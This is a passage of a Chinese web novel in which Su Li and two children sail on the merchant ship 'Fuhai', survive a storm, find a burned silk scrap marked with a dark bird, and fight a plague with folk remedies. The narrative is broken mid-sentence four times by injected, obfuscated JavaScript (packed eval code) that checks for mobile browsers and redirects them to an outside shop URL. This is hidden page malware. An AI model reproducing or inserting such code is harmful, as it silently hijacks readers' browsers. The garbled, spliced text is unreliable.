船上的生活，以一种粗暴而直接的方式，开始了。日升月落，不再以更鼓或炊烟为记，而是以船钟、以轮值、以一日两顿粗糙的饭食来计算。 苏璃很快适应了灶间的活计。清洗、切剁、烧火、刷洗巨大的铁锅和堆积如山的碗筷……从黎明到深夜，几乎不得停歇。王伙夫脾气暴躁，动辄打骂，但见她手脚利落，不偷懒，抱怨也少，倒也没过多为难。只是那永远洗不完的咸鱼、散发着馊味的糙米、以及有限得可怜的淡水，让每日的劳作都成了煎熬。 板儿和巧姐儿的日子也不好过。板儿被派去跟着一个老水手学习辨认简单的绳结和擦洗甲板，常常被呼来喝去，摔得鼻青脸肿。巧姐儿则被安排在舱房附近做些递送东西、擦拭门板的轻活，但她年纪太小，又胆怯，常被其他水手或船工家的半大孩子欺负，偷偷抹眼泪。 但无论如何，他们活下来了。每天能有两顿虽然粗劣却能果腹的食物，有一个虽然狭窄潮湿但能遮风挡雨的角落，她们被安排与几个洗衣妇挤在后舱一个极小的隔间里，最重要的是，她们正离中原，离那些追捕者，越来越远。 海上的日子单调而艰苦。除了劳作，便是望着那似乎永远没有尽头的、变幻莫测的海面。天空时而碧蓝如洗，万里无云；时而阴云密布，暴雨倾盆；时而在夜晚，呈现出璀璨到令人心悸的星河。海水也从近岸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145401|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的浑黄，渐渐变为深邃的蔚蓝，又转为墨绿。 苏璃在极度的疲惫中，仍努力观察着船上的一切。她记住了“福海号”的大致结构，记住了几个关键人物：除了郑老大和独眼老水手，还有大副“黑塔”一个沉默寡言、面色黝黑的壮汉，舵手“老海狗”据说在海上漂了四十年，以及那个神秘的、被称为“老余头”的佝偻水手。老余头很少与人交谈，总是默默地做着自己的活计，修补帆索、保养工具，眼神浑浊，仿佛对一切都漠不关心。但苏璃总觉得，他那偶尔掠过的目光，深沉得不像一个普通的老水手。 她也从水手们零星的交谈中，拼凑出更多信息。这趟航行的目的地是“满剌加”（马六甲），一个被“红毛鬼”（葡萄牙人）占据的香料贸易中心。航程预计需要两到三个月，视风向和海况而定。途中会经过几处已知的岛屿补充淡水，也会面临海盗、风暴、疾病，特别是可怕的坏血病的威胁。而郑老大此行，似乎押上了全部身家，船上装载的除了压舱石，主要是生丝、瓷器和茶叶，准备到满剌加换取香料、宝石和西洋新奇物件。 风险与暴利并存。每一个水手都知道，这可能是最后一趟活儿，也可能是翻身的机会。 这一日，海上起了风浪。天空阴沉下来，乌云低垂，仿佛要压到海面上。风越来越大，吹得船帆发出撕裂般的响声，船身开始剧烈地左右摇晃、上下颠簸。 “降半帆！稳住舵！”郑老大的吼声在风浪中显得破碎。 甲板上乱成一团。水手们奔跑着，呼喊着，奋力控制着帆索和船舵。巨大的浪头一个接一个拍打上来，冰冷的海水漫过甲板，将一切冲刷得东倒西歪。 苏璃被这突如其来的剧烈颠簸甩在灶间湿滑的地板上，锅碗瓢盆叮当作响，咸鱼和米袋滚落一地。王伙夫也站立不稳，骂骂咧咧地抓住门框。巧姐儿和板儿不知在何处，尖叫声被风浪声吞没。 恐惧，真实的、源于大自然的恐惧，攫住了每一个人。在这狂暴的大海面前，人类渺小如蝼蚁。 “啊——！”一声凄厉的惨叫从甲板上传来，似乎有人落水了！但没有人能去救，在这样的大浪中，落水几乎意味着瞬间死亡。 船体发出不堪重负的“嘎吱”声，仿佛下一刻就要解体。苏璃死死抱住一根固定的木柱，心中一片冰凉。难道，逃过了人祸，终究要葬身鱼腹？ 就在这绝望之际，一个佝偻的身影却逆着慌乱的人流，艰难而稳定地走向船头。是“老余头”！他手里拿着一些奇怪的、似乎是油脂和麻絮混合的东西，在剧烈摇晃的甲板上，如同脚下生根，开始熟练地检查、加固着船头几处关键的绳索和木板接缝，手法快得惊人。他甚至还能在颠簸间隙，对着操纵尾帆的水手打几个简单的手势。 在他的动作下，船头似乎稳了一些。郑老大也注意到了，吼道：“都听老余头的！他让怎么做就怎么做！” 混乱中，老余头那浑浊的眼睛里，似乎闪过一丝与年龄和身份极不相符的、锐利如鹰隼的光芒。虽然只是一瞬，却让恰好透过舷窗看到这一幕的苏璃，心中剧震。 这个“老余头”，绝对不简单！ 风浪持续了近一个时辰，才渐渐平息。天空重新露出光亮，海面虽仍起伏，却已温顺许多。“福海号”伤痕累累，但总算挺了过来。清点人数，除了那个不幸落水的水手，还有几人受伤。 劫后余生，船上弥漫着一种死里逃生的疲惫和庆幸。苏璃在混乱中找到了吓得抱在一起哭泣的板儿和巧姐儿，三人相拥，感受着彼此冰冷的体温和狂跳的心，第一次对“同舟共济”有了切肤的体会。 经此一遭，苏璃对“老余头”的疑虑更深了。他到底是谁？为何会有如此高超的驾船和应对风浪的经验？他与云渡庵那个神秘的老婆子，是否真是同一人？若是，他潜伏在“福海号”上，目的又是什么？ 而她们这趟危机四伏的航程，又将会在何时何地，遭遇怎样的变故？ “福海号”调整航向，继续向着南方，向着那传说中香料遍地的“满剌加”，艰难而又坚定地驶去。前方，依旧是茫茫大海，莫测的风云。 76. 海上浮生 风浪过后，“福海号”如同一个遍体鳞伤的巨兽，在逐渐平息的海面上喘息。甲板上一片狼藉，折断的缆绳、破碎的木桶、散落的货物碎片随处可见，海水混合着血污，在甲板沟槽里流淌。 空气中弥漫着海水的咸腥、木料的湿腐和一丝若有若无的血腥气。水手们脸上带着劫后余生的疲惫和麻木，默默地清理着残局，包扎着伤口。那个被风浪卷走的水手，连一声像样的哀悼都没有，便消失在了茫茫大海中，仿佛从未存在过。 郑老大脸色铁青，站在船头，检查着船体的损伤。主桅杆出现了一道细微的裂痕，前帆被撕开一个大口子，船舷几处木板松动，最麻烦的是，船底似乎有渗水的迹象。他骂骂咧咧地指挥着，声音嘶哑，透着焦躁。这次出师不利，损失人手和物资不说，船体受损更是直接影响航程和安全。 “老余头！死哪里去了？赶紧看看这船还能不能撑到下一个岛！”郑老大吼道。 佝偻的身影从一堆缆绳后站起，正是“老余头”。他依旧那副沉默寡言、行将就木的样子，但浑浊的眼睛扫过船体受损处时，却闪过一丝极快的、精悍的光芒。他没说话，只是走到主桅旁，用那双布满老茧和疤痕的手，仔细抚摸着那道裂痕，又趴到船舷边，侧耳倾听着船底传来的细微水声。 半晌，他直起身，用那破风箱似的沙哑声音道：“裂痕不深，用铁箍加固，能撑。船底渗水不严重，像是旧伤震开了缝，需要人下去补。帆，得换。” 言简意赅，却让郑老大松了口气。“妈的！就知道你这老家伙有办法！需要什么材料？人手你随便挑！” 老余头没客气，点了几个平日还算沉稳的老水手，又报出了一串需要的工具和材料：备用的厚帆布、桐油、麻丝、铁钉、铁箍等等。 “你！”老余头忽然指向正帮着清理甲板上碎木片的苏璃，“手脚还算利索，过来，帮着递东西。” 苏璃心中一凛，连忙放下手中的活计，低头应了声“是”，小步跟了过去。这是一个近距离观察老余头，甚至可能发现线索的机会！ 修补工作立刻开始。老余头指挥若定，哪里需要加固，哪里需要填补，用什么材料，手法如何，都交代得清清楚楚。他亲自操刀最关键的桅杆加固，那双看似枯瘦的手，挥舞起锤凿来却稳如磐石，力道精准，几下便将铁箍牢牢地套在裂痕处。修补船帆时，他那飞针走线的熟练程度，甚至超过了船上的专职帆匠，针脚细密结实，用的还是某种特殊的、浸过桐油的麻线，防水性极佳。 苏璃在一旁打着下手，递工具，扶木板，烧化填补缝隙用的沥青。她刻意放慢动作，仔细观察着老余头的一举一动，尤其是他修补时的一些小习惯和使用的特殊手法。越看，心中的疑云越重。这绝不是一个普通老水手应有的技艺和沉稳！他的动作里，透着一种经年累月、千锤百炼才有的老辣和精准，甚至……带着一丝军旅或官家工匠才有的规范痕迹。 在修补一处靠近货舱的、被风浪拍松的舱壁时，老余头需要撬开一块有些活动的护板。苏璃在一旁扶着木板，趁老余头用力撬动的间隙，她眼角的余光敏锐地捕捉到，在护板与船体骨架的缝隙深处，似乎卡着一小片不起眼的、颜色深暗的布片。 她的心猛地一跳。那布片的质地和颜色……不像船上常见的粗麻或帆布，倒像是……丝绸？而且，似乎有被火烧过的焦黑边缘！ 老余头似乎并未察觉，他将护板撬开，检查里面的结构，然后开始填充麻丝，浇灌热沥青。苏璃强压住狂跳的心，装作不经意地弯腰去捡掉落的铁钉，手指飞快地掠过那个缝隙，指尖触到了那片布料的边缘，轻轻一勾，便将那东西攥入了掌心，迅速塞进袖袋里。整个过程快如闪电，甚至连她自己都怀疑是否成功。 直到老余头修补完毕，钉回护板，示意她去拿别的东西，苏璃才暗暗松了口气，手心已全是冷汗。 接下来的半天，苏璃心不在焉，袖袋里那片小小的布料如同炭火般灼烫着她。她迫切地想看清那到底是什么，但又不敢在众目睽睽之下查看。 好不容易熬到日落收工，领了晚饭——依旧是能磕掉牙的硬饼子和少得可怜的咸鱼汤。苏璃端着碗，带着板儿和巧姐儿，回到她们那个位于后舱最底层、阴暗潮湿的狭小隔间。同住的还有两个浆洗的粗使婆子，此刻正鼾声如雷。 苏璃将饼子泡在汤里，让饿坏了的孩子们先吃。自己则借口出去倒水，走到舱外一处相对僻静的、堆放废旧缆绳的角落。确认四周无人，她才颤抖着手，从袖袋里掏出那片布料。 借着舷窗透进的微弱月光和远处灯塔的微光，她仔细辨认。果然是一小块丝绸碎片，约莫婴儿巴掌大，颜色是深青色，边缘有明显的烧灼痕迹。最让她心惊的是，在布料未被烧毁的一角，用极细的金线，绣着一个模糊不清、却让她瞬间血液凝固的图案——那是一只简化了的、展翅欲飞的玄鸟侧影！ 玄鸟！这图案她太熟悉了！在王熙凤那本秘密账册的某一页夹缝中，曾用类似的暗红色朱砂，勾勒过一个几乎一模一样的图案！旁边还标注着几个难以辨认的符号！当时她不明所以，只当是某种标记。如今看来，这玄鸟，极可能是一个极其隐秘的代号或信物！ 这片带着玄鸟标记的、被烧过的丝绸，怎么会出现在“福海号”的舱壁夹缝里？是老余头的东西？还是之前某位乘客或船员遗落？若是老余头的，他为何要藏着这东西？他和这玄鸟标记有什么关系？若是别人的，老余头知道它的存在吗？ 无数疑问如同海藻般缠绕住苏璃的心脏，让她几乎窒息。这小小的碎片，似乎指向一个比贾府倾覆、比她们被追捕更深、更危险的秘密旋涡！ “福海号”这艘看似普通的商船，水手郑老大，神秘的老余头，还有这片诡异的丝绸……这一切，难道仅仅是巧合？ 苏璃将丝绸碎片紧紧攥在手心，冰冷的汗水浸湿了布料。她感到，自己仿佛无意中揭开了一个巨大谜团的冰山一角，而谜底之下，可能是万丈深渊。 她不敢久留，将碎片重新藏好，深吸几口带着咸腥气的冰冷空气，强迫自己冷静下来。现在不是惊慌的时候。必须更加小心，更加警惕。 回到隔间，板儿和巧姐儿已经吃完，依偎着睡着了。苏璃看着两个孩子熟睡中仍带着惊惧的小脸，心中涌起一股强烈的保护欲。无论前路有多少阴谋诡谲，她必须带着他们活下去！ 接下来的日子，“福海号”在老余头的指挥下，修复工作进展顺利。船体基本稳固，渗水止住，新帆也换上了。船上的生活恢复了那种单调而艰苦的节奏。日出而作，日落而息，与风浪、疲惫和匮乏搏斗。 苏璃每日在灶间忙碌，清洗、切剁、烧火，双手磨出了厚茧，脸上也带了风霜之色。但她利用一切机会，暗中观察老余头，留意水手们的谈话，试图拼凑更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148258|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多信息。她发现，老余头在船上的地位很微妙，水手们对他既有些敬畏，又带着疏离，似乎知道他有些本事，却又摸不清他的底细。郑老大对他似乎也并非完全信任，时常带着审视的目光。 板儿渐渐适应了船上的生活，虽然辛苦，但孩子的恢复力强，他跟着老水手学了些粗浅的船上的活计，晒黑了些，也结实了些。巧姐儿依旧怯生生的，但至少不再整日哭泣，只是格外黏着苏璃和板儿。 航向一路向南，天气越来越热，阳光毒辣。淡水开始严格控制，每人每日只有一小勺。食物也越来越差，咸鱼开始长毛，米里生了虫，蔬菜早已吃光，许多人开始出现口舌生疮、牙龈出血的迹象——坏血病的征兆开始显现。船上弥漫着一股压抑的焦躁和病气。 这一日，瞭望的水手忽然兴奋地大喊：“岛！前面有岛！” 所有人都涌到甲板上。远处海平面上，果然出现了一个黑点的轮廓，随着船只靠近，逐渐扩大，变成一座覆盖着茂密绿色植被的岛屿。 “是‘龟背岛’！按海图，是该在这里补充淡水！”郑老大拿着一个破旧的罗盘和一张泛黄的海图，对照着。 船上响起一阵微弱的欢呼。有淡水，就意味着能活下去的希望。 “福海号”小心翼翼地靠近岛屿，在离岸一段距离下降帆抛锚。岛屿不大，岸边是白色的沙滩，后面是陡峭的山崖和密林，看起来荒无人烟。 郑老大派出一艘小艇，由大副“黑塔”带着几个精壮水手，拿着水桶和武器，上岸寻找水源。老余头也被点名同去，似乎是因为他“经验丰富”。 苏璃和其余人留在船上，焦急地等待着。补充淡水是头等大事，也意味着他们可以在这片死寂的海上，获得短暂的喘息。 约莫过了两个时辰，小艇才返回。水手们抬着几桶浑浊的淡水，但个个脸色凝重，甚至带着一丝惊惶。 “老大，岛上……有情况！”黑塔跳上甲板，声音低沉。 “怎么了？”郑老大皱眉。 “我们在水源地附近，发现了……生火的痕迹，还有……这个。”黑塔将一件东西递给郑老大。 那是一个半埋在灰烬里的、烧得变形的……黄铜腰牌！上面隐约可见模糊的篆文，虽然残缺，但苏璃一眼就认出，那是……官制兵符的样式！而且是……内地卫所的制式！ 中原的官兵，到过这座荒岛？！而且时间似乎就在近期！ 郑老大的脸色瞬间变得难看至极。水手们也骚动起来，窃窃私语。 “还有，”黑塔补充道，声音更沉，“我们在林子边缘，发现了这个……” 他摊开手心，里面是几片被踩烂的、颜色鲜艳的……丝绸碎片！那丝绸的质地和颜色，与苏璃怀中那片带有玄鸟标记的，截然不同，更像是……宫中或者极高品级官员才能使用的云锦！ 苏璃的心脏，如同被一只冰冷的手攥紧！官船！而且可能是内廷或者与极高层有关的官船，近期曾在此停留！他们是谁？为何会出现在这远离航线的荒岛？是追踪而来？还是……另有任务？ 这片看似平静的海域，这座计划中的补给岛，瞬间变得杀机四伏！ “福海号”上，刚刚因为发现淡水而升起的一点轻松气氛，荡然无存。取而代之的，是一种更深沉的、对未知危险的恐惧。 淡水必须补充，但岛上隐藏的危险，又该如何应对？ 77. 瘟起与生机 龟背岛上的发现，如同一块巨石投入死水，在“福海号”上激起了巨大的恐慌。官船的痕迹，意味着追捕的阴影并未因远离海岸而消散，反而可能如影随形，潜伏在这茫茫大海的某个角落。郑老大脸色阴沉得能滴出水来，下令加速取水，严禁任何人再私自登岛，同时加派了瞭望的人手，日夜警惕海面。 补充的淡水虽然浑浊，带着泥沙和腐叶的气味，但终究是活命之源。船上每人分到的配额略有增加，暂时缓解了干渴的折磨。然而，另一种更可怕的威胁，却随着这来之不易的淡水，悄然降临。 取水回来的第二天夜里，最先发病的是灶间那个脾气暴躁的王伙夫。起初只是发热、头痛，他骂骂咧咧地以为是染了风寒，灌了几口劣酒便倒头大睡。可到了后半夜，他开始剧烈地呕吐、腹泻，很快便脱水脱力，躺在污秽中呻吟，皮肤上出现了可怕的红疹。 紧接着，是几个一同上岸取水、接触过岛上来源的水手。症状几乎一模一样：高烧不退，上吐下泻，迅速虚弱，红疹蔓延。 “是瘟病！岛上的瘟病传上船了！”不知是谁先惊恐地喊了出来。 恐慌如同瘟疫本身，瞬间席卷了整艘船。健康的人如同躲避蛇蝎般远离病患所在的底舱，用布蒙住口鼻，眼神中充满了恐惧和绝望。在海上，缺医少药，一旦爆发瘟疫，往往是整船覆没的下场！ 郑老大又惊又怒，下令将病患全部隔离在底舱最深处通风最差的地方，派了两个年老体弱、自认命不久矣的水手勉强看顾，实则近乎任其自生自灭。他严令封锁消息，生怕引起更大的骚乱，但死亡的气息已经无法掩盖。 船上原本就压抑的气氛，此刻更是凝重得如同实质。每日分发食物和饮水，都成了胆战心惊的过程。人们互相猜忌，生怕对方是下一个病倒的人。咳嗽一声，都能引来无数惊恐的目光。巧姐儿吓得整日缩在苏璃怀里，连板儿也沉默了许多，小脸上写满了不安。 苏璃的心也沉到了谷底。她前世虽非医者，但基本的卫生防疫常识还是有的。这症状，极像霍乱或某种急性肠道传染病，通过被污染的水源和接触传播，在卫生条件极差、人员密集的船上，一旦爆发，后果不堪设想！王熙凤账本上隐约提过，贾府祖上随军时，曾有应对时疫的偏方记录，但具体如何，她一时也想不起来。 她更加小心地注意个人卫生，严格控制板儿和巧姐儿只喝烧开的水，食物也尽量加热后再吃，避免与病患有任何接触。但在这狭小的空间里，能否幸免，全靠运气。 然而，厄运并未停止蔓延。第三天，又陆续有几人病倒，包括看顾病患的一个老水手。死亡的阴影笼罩着“福海号”，连一向凶悍的郑老大眼中也出现了慌乱。船上的秩序开始瓦解，有人开始偷偷酗酒麻痹自己，有人则暗中准备抢夺淡水和食物，气氛一触即发。 第四天傍晚，苏璃正在灶间艰难地清洗着堆积如山的、可能被污染的碗筷，忽听外面传来一阵撕心裂肺的哭喊声。她心中一紧，循声望去，只见一个平日里还算和气的浆洗婆子，正抱着她年仅十岁的孙子——一个在甲板上帮忙的半大孩子——瘫坐在走廊里痛哭。那孩子脸色灰败，双眼凹陷，已是出气多进气少。 “我的孙儿啊！你醒醒啊！老天爷，你开开眼啊！”婆子的哭声凄厉绝望，在死寂的船上回荡，敲打着每个人的神经。 周围的水手和妇孺远远看着，无人敢上前，眼中只有麻木和更深的恐惧。 苏璃看着那孩子濒死的惨状，看着婆子绝望的眼神，一股寒意从脚底直窜头顶。下一个，会是谁？板儿？巧姐儿？还是她自己？难道千辛万苦逃出生天，最终要葬身在这茫茫大海的瘟疫之中？ 不！绝不能坐以待毙！ 她猛地想起曾经在一本书的某一页角落，似乎用极小的字记载过一个极为简略的方子，旁边标注“军中防疫，或可一试”，主要几味药是：大蒜、生姜、艾草、灶心土，重在解毒、温中、止泻。方子极其简陋，甚至有些荒诞，但在此绝境之下，已是唯一的稻草！ 船上会有这些东西吗？大蒜、生姜或许灶间还有存货，艾草……她记得在龟背岛取水时，似乎在水边看到过类似的高大蒿草！灶心土更是易得！ 死马当活马医！必须一试！ 她深吸一口气，放下手中的活计，在围裙上擦了擦手，径直走向站在船头、面色铁青望着远方的郑老大。 “郑老大。”苏璃的声音在风中有些发颤，但却异常清晰。 郑老大烦躁地转过头，见是她，没好气道：“什么事？没看见正烦着吗？” “民妇……或许有个法子，可以试试救人性命，遏制瘟疫。”苏璃尽量让自己的语气显得平静而坚定。 郑老大一愣，上下打量着她，眼中满是怀疑和讥讽：“你？一个娘们儿？能有什么法子？别在这儿添乱！” “民妇祖上曾随军，略通些防治时疫的土方。”苏璃不卑不亢，抬出了准备好的说辞，“如今船上情况危急，若任其发展，只怕……民妇愿尽力一试，成与不成，总好过坐以待毙。” 郑老大盯着她看了半晌，似乎在权衡。船上的情况他比谁都清楚，再这样下去，不等到达满剌加，人就要死光了。死马当活马医，或许……他咬了咬牙：“什么法子？需要什么？” “需要大量大蒜、生姜，熬成浓汤，让尚未病倒的人每日饮用。还需要艾草，焚烧烟熏病患隔离之处和船舱各处，驱秽避疫。还需……灶心土，研末，用米汤调服，或可止泻。”苏璃快速说道。 郑老大皱紧眉头：“大蒜生姜倒是有些存货，艾草？这茫茫大海上哪里去找艾草？” “前日取水的龟背岛上，水边似乎生有类似的蒿草，或可替代。”苏璃提示道。 郑老大眼神一凝，龟背岛……那个不祥之地！但眼下也顾不了许多了。“灶心土好办。可是……就算有了这些，谁去熬？谁去给那些瘟神送药？”他扫了一眼远远躲着的众人。 “民妇愿往。”苏璃迎上他的目光，“只求老大下令，收集药材，并允许民妇动用灶间。再派一两个……胆大之人协助。”她知道，必须有人去做这最危险的事。 郑老大深深看了她一眼，这妇人看似柔弱，眼神却透着一股不容置疑的决绝。他沉吟片刻，猛地一挥手：“好！就依你！需要什么，跟老王说！黑塔，你带两个人，听她调遣！若是能救下几条人命，老子记你一功！若是没用……”他后面的话没说完，但威胁之意不言而喻。 “民妇明白。”苏璃福了一礼，转身快步走向灶间。 命令下达，尽管众人将信将疑，但在死亡的威胁下，还是迅速行动起立。大蒜、生姜被翻找出来，黑塔带着两个面色发白、但还算镇定的年轻水手，划着小艇，冒险再次靠近龟背岛，按照苏璃描述的形态，砍回了一大捆类似艾草的蒿草。灶心土也从灶膛里挖了出来。 苏璃立刻在灶间支起大锅，将大量蒜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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苏璃并未因此沾沾自喜，反而更加谨慎。她知道，这土方未必真的对症，更多的是依靠大蒜生姜的杀菌作用和艾草烟熏的消毒效果，以及严格的隔离措施，阻断了传播途径。真正的危险并未完全过去，船上的卫生状况依然极差。 她趁机向郑老大建议，加强船舱的清洁，每日用蒿草水擦拭，病人的污物必须及时清理并倒入海中，饮用水务必烧开等等。郑老大见识了“土方”的效果，对这些“麻烦”的要求，也破例应允了。 于是，苏璃在船上的地位，悄然发生了变化。她不再仅仅是灶间一个默默无闻的帮工，而成了一种“希望”的象征。虽然依旧劳作辛苦，但水手们对她明显客气了许多，连分发食物时，也会悄悄给她和孩子们多留一点。板儿和巧姐儿在船上走动，也少了许多欺侮。 然而，苏璃心中并无丝毫轻松。龟背岛的阴影，老余头的秘密，怀中那片诡异的玄鸟丝绸……都如同达摩克利斯之剑，悬在头顶。而船上的物资日益匮乏，坏血病的症状在更多人身上显现，漫长的航程依旧看不到尽头。 这一日，苏璃正在用所剩无几的蒿草熏烤船舱，老余头佝偻着背，慢吞吞地走过她身边。在经过的刹那，他用那嘶哑得几乎听不清的声音，极快地说了一句： “丫头，小心……糖里有毒。” 苏璃浑身一僵，手中的艾草差点掉落。她猛地抬头，老余头却已像没事人一样，蹒跚着走远了，只留下一个模糊的背影。 糖里有毒？他指的是郑老大赏赐的那袋糖？是警告？还是……另有所指？ 一股寒意，比海上夜晚的风更刺骨，瞬间席卷了苏璃的全身。 78. 同舟共济 老余头那句没头没尾的“糖里有毒”，像一根冰冷的刺，扎在苏璃心里，让她连着好几日心神不宁。那袋郑老大赏赐的糖，她仔细检查过，看不出任何异常，最终也只是悄悄埋在废弃的炭灰里，没敢给孩子们尝一口。郑老大看她的眼神，似乎并无特别，依旧是那种混杂着审视、利用和一丝不易察觉的烦躁。是试探？是警告？还是老余头故弄玄虚？ 疑心生暗鬼。苏璃强迫自己暂时放下这无解的猜疑。眼下，有更迫在眉睫的危机需要应对。 瘟疫的余威虽散，但“福海号”的状况并未好转。长时间的航行，恶劣的饮食，匮乏的蔬菜水果，让坏血病的症状在更多水手身上显现。牙龈红肿流血，皮肤出现瘀斑，关节疼痛，人虚弱无力。每日甲板上，都有人靠着船舷，对着海水漱口，吐出的却是带血的唾沫。绝望的气息，比瘟疫时更加缓慢而沉重地弥漫着。 郑老大的眉头锁得更紧，脾气也愈发暴躁。船上的存粮，无论是能磕掉牙的硬饼还是发黑的咸鱼，都已见底。淡水再次严格控制，每人每日只有一小口，嗓子干得冒烟。龟背岛补充的那点淡水，也带着一股子土腥味，喝下去并不舒服。 这一日，轮到苏璃去领每日那点可怜的饭食。发饭的是独眼老水手，他那只浑浊的眼睛扫过排队的人群，木然地用勺子舀着糊状的、几乎看不清米粒的“粥”。轮到苏璃时，他手腕几不可察地顿了顿，勺底似乎碰到了桶底的什么硬物，然后手腕一翻，将粥倒进苏璃的破碗里。 苏璃道了声谢，端着碗走到角落。粥依旧稀薄，但用木勺一搅，底下竟沉着一小指节长、被煮得发白了的……肉干？还有两片边缘发黄、但依稀可辨的……腌菜叶子？ 她愕然抬头，看向独眼老水手。老头已经低下头，继续给后面的人舀粥，仿佛什么都没发生。 是弄错了？还是……特意给她的？ 苏璃心中泛起一丝复杂的涟漪。她想起这些日子，水手们对她态度的细微变化。搬运重物时，偶尔会有沉默的水手顺手帮她抬一把；分发所剩无几的淡水时，她和两个孩子碗里的，似乎总比旁人看起来稍多那么一点点；连那个脾气最坏的、脸上有刀疤的水手“黑塔”，在甲板上遇见她带着孩子，也会粗声粗气地吼一句“看好崽子，别掉下去！”，虽然凶巴巴的，却也算是一种变相的提醒。 这些微末的、几乎难以察觉的“照顾”，在生存资源极度匮乏的海上，显得格外珍贵。或许，她冒险救治病患的举动，真的在这群挣扎求生的粗粝汉子心中，种下了一丝善意的种子？ 她默默地将那点肉干和菜叶子挑出来，小心地分成三份，混在粥里，喂给眼巴巴看着的板儿和巧姐儿。孩子们的眼睛瞬间亮了，小口小口，吃得无比珍惜。 “娘，这粥……今天好像有点味儿。”板儿小声说。 “嗯，快吃吧。”苏璃摸摸他的头，自己只喝了几口几乎全是清汤的粥底。肚子里依旧空空，但心口，却仿佛被那一点微不足道的“特殊待遇”，微微熨帖了一下。 怀疑和警惕是必要的，但若一直紧绷着弦，将所有人都视为潜在的敌人，在这孤立无援的大海上，或许先垮掉的是自己的精神。水澈的告诫犹在耳边，但此刻，她或许可以尝试，在保持谨慎的前提下，稍微……放松一点点？ 这念头并非突然生出。连日来，看着这些水手在风浪中搏命，在病痛中挣扎，为了一口饭食互相瞪视却又在危险来临时下意识伸手拉同伴一把……他们或许粗野，或许为了生存不择手段，但并非全然冷漠无情。就像那个失去孙子的浆洗婆子，在最初的崩溃后，如今也默默擦干眼泪，佝偻着背，继续浆洗着仿佛永远洗不完的破布，偶尔看到巧姐儿，浑浊的眼里会闪过一丝微弱的慈祥。 他们都是被命运抛到这汪洋之上的可怜人。 这日傍晚，海上起了风。不大，却让本就破旧的“福海号”颠簸得厉害。苏璃在灶间收拾，忽然听到外面甲板上传来一声惊呼和孩子的哭喊。 是巧姐儿！ 她心猛地一揪，扔下东西冲了出去。只见甲板湿滑，巧姐儿不知怎么摔倒了，正顺着倾斜的甲板向船舷边滑去！一个浪头打来，海水漫上甲板，眼看就要将她卷走！ “巧姐儿！”苏璃魂飞魄散，尖叫着扑过去，却脚下一滑，自己也险些摔倒。 就在这千钧一发之际，一道黑影猛地窜出，正是那个脸上有刀疤、平日里最凶神恶煞的“黑塔”！他粗壮的手臂一伸，如同铁钳般，在巧姐儿即将被海水淹没的刹那，牢牢抓住了孩子的后襟，猛地将她提了起来，甩到相对安全的桅杆基座旁。动作迅猛粗鲁，巧姐儿吓得哇哇大哭，但终究是安全了。 苏璃连滚爬爬地扑过去，将浑身湿透、哭得上气不接下气的巧姐儿紧紧搂在怀里，自己也吓得浑身发抖。 黑塔甩了甩手上的海水，瞪了苏璃一眼，粗声骂道：“怎么看孩子的！这甲板是玩的地方吗？再有一次，喂了鱼可别怪老子！”骂完，也不看她们，转身骂骂咧咧地走开了，去检查被海浪打松的缆绳。 苏璃抱着巧姐儿，惊魂未定，看着黑塔那满是刺青和伤疤的宽阔背影，心中涌起的却不是恐惧，而是一种后怕之余难以言喻的……感激。这个看似凶恶的汉子，在关键时刻，出手救了巧姐儿。 “谢……谢谢黑塔大哥！”她冲着那背影喊道，声音还有些发颤。 黑塔脚步顿了顿，没回头，只不耐烦地挥了挥手，示意她赶紧带孩子回舱。 回到狭小的隔间，苏璃用所剩无几的干布巾给巧姐儿擦身，换了衣服，板儿也紧张地守在旁边。巧姐儿抽噎着，渐渐睡着了。 “娘，黑塔大叔……是好人。”板儿小声说。 苏璃轻轻“嗯”了一声，将巧姐儿搂得更紧些。是啊，至少在这一刻，他是个“好人”。在这朝不保夕的船上，简单的“好”与“坏”的界限，似乎也变得模糊了。为了生存，每个人都可以是野兽；但危难时刻，那一点点未曾泯灭的人性，也可能悄然闪光。 经历了这场虚惊，苏璃的心态发生了微妙的变化。她依旧小心保管着账册和玉佩，依旧对郑老大和老余头保持警惕，但对船上的其他水手、浆洗妇，甚至那个独眼老水手，她开始尝试用更平和、甚至带有一丝善意的目光去观察、去接触。 她会主动在清洗碗筷时，帮旁边累得直不起腰的浆洗婆子多刷几个；会在分发药草烟熏时，特意在体弱的老水手住处多熏一会儿；会偶尔用自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 